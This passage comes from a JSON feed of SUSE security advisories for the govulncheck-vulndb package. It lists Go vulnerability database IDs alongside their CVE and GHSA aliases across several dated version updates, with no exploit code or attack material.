GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:30:23Z","modified":"2026-09-09T18:23:14.573173825Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23625-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:32:03Z","modified":"2026-09-29T18:23:20.110594263Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}